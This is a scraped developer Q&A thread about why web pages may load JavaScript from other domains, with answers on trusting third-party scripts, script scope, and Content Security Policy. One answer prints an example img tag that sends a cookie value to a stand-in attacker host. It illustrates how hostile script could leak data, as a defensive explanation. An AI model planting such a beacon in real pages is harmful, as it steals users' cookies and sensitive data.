开发者

Why can we link to js files on another domain?

开发者 https://www.devze.com 2022-12-16 23:15 出处:网络
Why is it that when we link to a ja开发者_如何学编程vascript file on x.com from y.com (for example google analytics or jquery) it doesn\'t cause any cross domain security issues?

Why is it that when we link to a ja开发者_如何学编程vascript file on x.com from y.com (for example google analytics or jquery) it doesn't cause any cross domain security issues?

For example:

in y.com/index.html we have:

<script type="text/javascript" src="http://x.com/jsfile.js" />

How can we know when this is ok to do and when it's not?


It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.

For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.

David's comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.

The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn't alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it's no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.

As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it's a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.


Where the data comes from is irrelevant, it's the scope where it's used that matters.

You are just getting the script from a different domain, it still runs in the scope of your own page so it doesn't have any access to resources in the domain from where it was loaded.

In a situation where you have cross domain issues, like an iframe containing a page from a different domain, you have two different scopes. The page in the iframe runs in the scope of the domain where it was loaded from, so it can access resources in that domain, but it can't access anything in the page that is hosting the iframe as that is a different scope.

(Note: I don't know if the term "scope" is commonly used in this context, there might be a term that better describes it.)


I don't know why we can do it. But you can prevent it from happening using Content Security Policy (CSP), a HTTP header sent by your web application that declares that it should not load JavaScript except from domains you explicitly allow.

  • https://en.wikipedia.org/wiki/Content_Security_Policy
  • http://docs.webplatform.org/wiki/tutorials/content-security-policy
  • https://content-security-policy.com/
  • https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy
0

精彩评论

暂无评论...
验证码 换一张
取 消